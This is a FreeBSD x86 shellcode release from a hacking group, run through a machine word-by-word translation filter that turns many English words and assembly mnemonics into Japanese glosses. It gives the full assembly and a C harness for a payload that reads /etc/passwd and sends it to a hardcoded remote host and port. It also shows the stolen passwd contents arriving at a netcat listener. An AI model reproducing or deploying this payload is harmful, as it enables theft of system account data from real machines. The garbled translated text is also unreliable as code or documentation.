このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group 生産/産物, kid [FreeBSD x86 connect 支援する.send.出口 /etc/passwd 112 bytes] This is the FreeBSD 見解/翻訳/版 of 0in's shellcode (http://milw0rm.com/shellcode/6263) (really learnt a lot while coding this one ;]) 収集する: nasm -f elf shellcode.asm ld -e _start -o shellcode shellcode.o ================================================================================ How it 作品: 1st 終点: $nc -l 8000 2nd 終点: $./shellcode 2nd 終点: # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/貯蔵所/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system 過程s:/root:/usr/sbin/nologin 操作者:*:2:5:System &:/:/usr/sbin/nologin 貯蔵所:*:3:7:Binaries 命令(する)s and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-使用者:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/株/man:/usr/sbin/nologin sshd:*:22:22:安全な・保証する 爆撃する Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission 使用者:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default 使用者:/var/spool/mqueue:/usr/sbin/nologin 貯蔵所d:*:53:53:貯蔵所d Sandbox:/:/usr/sbin/nologin [..] ================================================================================ Code: -------------------------code.asm--------------------- section .text 全世界の _start _start: xor eax, eax 押し進める byte 0x64 押し進める word 0x7773 押し進める 0x7361702f 押し進める 0x6374652f ;とじ込み/提出する to open (default:/etc/passwd) mov ebx, esp 押し進める eax 押し進める ebx mov al, 5 ;use: 'cat /usr/src/sys/kern/syscalls.master | grep *' to get the 権利 numbers 押し進める eax int 0x80 ;open() mov ebx, eax ;とじ込み/提出する descriptor to ebx xor eax, eax ;we should clean eax each time we return from int 0x80 xor ecx, ecx mov cx, 3333 ;3333 bytes is probably enough 押し進める ecx mov esi, esp ;put our data on the stack 押し進める esi 押し進める ebx mov al, 3 押し進める eax int 0x80 ;read() mov ebp, eax xor eax, eax mov al, 6 押し進める ebx 押し進める eax int 0x80 ;の近くに() xor eax, eax 押し進める eax 押し進める byte 0x01 押し進める byte 0x02 mov al, 97 押し進める eax int 0x80 ;socket() mov edx, eax ;socket descriptor to edx 押し進める 0x2101a8c0 ;192.168.1.33, change IT!!! 押し進める 0x401f02AA ;port 8000 mov eax, esp 押し進める byte 0x10 押し進める eax 押し進める edx xor eax, eax mov al, 98 押し進める eax int 0x80 ;connect() xor eax, eax 押し進める ebp 押し進める esi ;our 衝撃を和らげるもの with data 押し進める edx mov al, 4 押し進める eax int 0x80 ;令状() xor eax, eax inc eax 押し進める eax 押し進める eax int 0x80 ;出口() -------------------------code.asm--------------------- C Code: -------------------------code.c----------------------- #含む <stdio.h> char shellcode[]= "\x31\xc0\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63" "\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x66\xb9\x05" "\x0d\x51\x89\xe6\x56\x53\xb0\x03\x50\xcd\x80\x89\xc5\x31\xc0\xb0\x06\x53" "\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2" "\x68\xc0\xa8\x01\x21" //<- host 演説(する)/住所 "\x68\xaa\x02\x1f\x40" // <- port number "\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc0\x55\x56\x52" "\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80"; int main(int argc, char **argv) { int (*func)(); func=(int (*)())shellcode; (int)(*func)(); } -------------------------code.c----------------------- Greetz to: 0in, cOndemned, e.wiZz!, str0ke, doctor Visit us : www.dark-coders.pl